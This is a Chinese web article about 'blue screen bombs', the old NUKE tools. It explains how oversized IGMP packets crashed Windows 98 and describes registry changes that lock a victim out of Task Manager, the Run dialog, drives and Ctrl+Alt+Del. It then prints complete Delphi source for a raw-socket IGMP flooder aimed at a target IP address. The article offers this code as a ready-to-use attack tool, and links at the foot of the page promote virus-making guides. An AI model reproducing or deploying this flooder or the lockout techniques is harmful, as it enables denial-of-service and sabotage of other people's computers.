计算机蓝屏原因原理,蓝屏炸弹

news/2024/11/30 1:35:33/

蓝屏炸弹是当初针对Win95的OOB漏洞而开发出来的一些小软件,多命名为NUKE等,以前是专门攻击139端口,被攻击的计算机多会出现著名的蓝屏错误,因而得名。现今的蓝屏炸弹主要攻击对象是使用Win98操作系统的用户。一旦该系统打上补丁,大多数蓝屏程序也就失效了。

中文名

蓝屏炸弹

外文名

NUKE类    型

软件

应    用

Win95的OOB漏洞

蓝屏炸弹原理

编辑

语音

蓝屏炸弹一般使用的是IGMP协议(Internet Group Management Protocol)由于IGMP是一种类似ICMP(PING报文)的一种无连接协议,所以在向服务器连接时不需要指定连接的端口,只需要指定IP地址即可我们常用的WIN98系统因为不能很好的处理过大的IGMP数据包,很容易出现系统崩溃的情况,这就是IGMP协议被滥用为制作蓝屏炸弹的原因.

蓝屏炸弹炸弹功能

编辑

语音

既然是炸弹,那当然要写的厉害些,首先就要像很久以前那个网页炸弹一样,弹出无数个窗口,这个功能是给别人打马虎眼的,让他一心想着去阻止炸弹继续的弹出窗口;第二个功能是专门针对windows XP而做的,当然也是在2004年第12期黑防杂志上看到的---自动重启计算机(如图1),

93f9307c63bafd59349047a98474aaa5.png

图1

那么下一项就是让每一个人都感到郁闷的事---修改注册表。我今天教大家写的炸弹实现的功能大部分还是靠注册表,主要的功能还是要禁止中招的人打开任务管理器,禁止使用注册表,隐藏桌面所有图标,禁止使用开始菜单里面的运行,搜索,关机,屏蔽ctrl+alt+del里的内容,禁止使用IE浏览器里的所有属性,屏蔽C盘,D盘等盘,这样的结果看上去一定很可怕,如果我们屏蔽右键或者加那么一点点的代码设成开机自动运行,那后果会是什么样的就可想而知了吧

蓝屏炸弹制作方法

编辑

语音

打开DELPHI,新建一个Console Application这是一个命令行的程序,在MS-DOS方式窗体中执行,例如我们的程序编译后文件名是NUKE.EXE,你就可以在MS-DOS方式窗体输入NUKE XXX.XXX.XXX.XXX 65536 50

其中XXX.XXX.XXX.XXX是目标的IP地址;65536是数据包大小这里是64K,50是发送次数,这里我们的程序就用到了3个参数的传递,在DELPHI中我们就可以使用ParamStr()来获得。

program IgmpNuke;

{$APPTYPE CONSOLE}

uses SysUtils, Windows, WinSock;//因为用到WINSOCK API请把Winsock unit加入Uses项中

var S: TSocket;

PSize: Integer;

Times: Integer;

Addr: TSockAddr;

wsaData:TWSAData;

Pack: Pchar;

begin

WSAStartup(Word(2),wsaData);//初始化WINSOCK,要求最低版本是2;

if ParamStr(1)'' then begin //获得第一个参数,如果为空的话,跳到最后输出使用格式。

S:=Socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);//为SOCKET指定协议为IGMP

if S = INVALID_SOCKET then begin

WriteLn('Create Socket Error:'+ IntToStr(GetLastError()));

exit;

end;

PSize:=StrToInt(ParamStr(2));//获得第二个参数,为数据包大小;

Times:=StrToInt(ParamStr(3));//获得第三个参数,为发送次数;

GetMem(Pack,PSize);//分配一段内存,大小为包的大小;

Addr.sin_family:=AF_INET;//指定使用的协议簇;

Addr.sin_addr.S_addr:=inet_addr(Pchar(ParamStr(1)));//指定目标的IP地址;当然要经过inet_addr函数转换;

if Connect(S,Addr,SizeOf(Addr))0 then begin

WriteLn('Connect Error (Code):'+IntToStr(GetLastError()));

Exit;

end;

//以下开始循环发送,使用Send api;

Repeat

Send(S,Pack^,PSize,0);

dec(Times); //每次发送后使发送次数减一;

Write('.');

until Times=0;

WriteLn('');

WriteLn('Nuke: '+ParamStr(1)); //显示一下信息;

WriteLn('Packet Size: '+ParamStr(2));

WriteLn('Times: '+ParamStr(3));

WriteLn('GwNuker1.0');

WriteLn('Welcome to ');//做一下广告,呵呵。

end else begin

WriteLn('Nuke xxx.xxx.xxx.xxx PackSize Times');

end;

FreeMem(Pack);//释放刚才分配的内存;

WSACleanup;//释放Winsock资源;

end.

好了一个命令行版本的“蓝屏炸弹”就这样写好了,编译成EXE文件,看看只有40K左右,还可以用ASPack压缩的哦!!广外女生有这样小的体积,不是单纯依靠压缩软件的哦,只要在编程的时候减少使用窗体或可视化控件,就可以大大减少自己程序的大小,这是女生和冰河等国产木马不同的地方。 [1]

词条图册

更多图册

参考资料

1.

163日志

[引用日期2010-09-21]


http://www.ppmy.cn/news/444966.html

相关文章

攻略:简易病毒制作(Windows)

勒索、无限弹窗… 你的电脑是否经历过这些恶意病毒,竟然还是一个认识的人搞得恶作剧?想不想回捉弄他一下?别急,这篇文章来帮你。 目录 关机病毒无限弹窗病毒勒索病毒蓝屏炸弹病毒(仅限 Windows XP 及更老)…

病毒制作实践小记:运行关机、蓝屏炸弹、进程关闭、拓展名病毒

病毒制作实践小记:运行关机、蓝屏炸弹、进程关闭、拓展名病毒 一、前言二、时间过程详细小记1、关机bat脚本实践步骤记录:2、最简单的蓝屏炸弹文件3、进程关闭病毒关于ntsd方法一:利用进程的PID结束进程方法二:利用进程名结束进程…

RFID课程要点总结_2 Identification

2. Identification 简单说RFID就是物体上贴tag,用reader上的antenna去读取,这三个是主要组成。 Reader’s function Energy supply: 比如有的标签自身不带能量需要reader提供信号中蕴含的能量 Communication: 最基本的功能,和tag识别&…

Floyd算法图解,C++实现Floyd算法

Floyd算法简介 Floyd算法是一种多源最短路径算法,是利用动态规划的思想寻找给定的加权图中多源点之间最短路径的算法,与Dijkstra算法类似。该算法名称以创始人之一、1978年图灵奖获得者、斯坦福大学计算机科学系教授罗伯特弗洛伊德命名。 时间复杂度&am…

vscode项目 localhost可以打开 ip地址却打不开

我之前的项目运行起来是这样的,如下图所示 但是localHost:3000可以正常访问,一点击ip地址访问就不行 后来网上找了资料,发现原来是项目的配置文件出错了 我的项目配置文件是这个 将下面的host里面的内容改为 0.0.0.0 如图所示&#xff…

电脑已连接WIFI,但是现实网络不可用

今天出现电脑连接wifi,但是适配器查看,网络不可用,手机连接WiFi可以用。 问题:查看百度,是IP冲突,手机查看ip地址,然后自己改动为设定的固定IP,但是到公司,需要公司网段,…

html文件可用本地IP访问

1、cmd全局安装 npm install http-server -g 2、查询本机电脑IP http-server -c-1 3、访问html文件目录位置(手机/他人电脑都可访问) 电脑IP文件位置

关于电脑热点打开后手机连接无IP分配解决办法

1、确定是否是由于虚拟机网络配置冲突引起,若是, 则在网络配置中的更改适配器选项中,关闭虚拟机网络配置; 2、可能是由于Windows10版本系统BUG可能造成, 此时打开有管理员权限的命令行窗口(如果在任务栏中搜…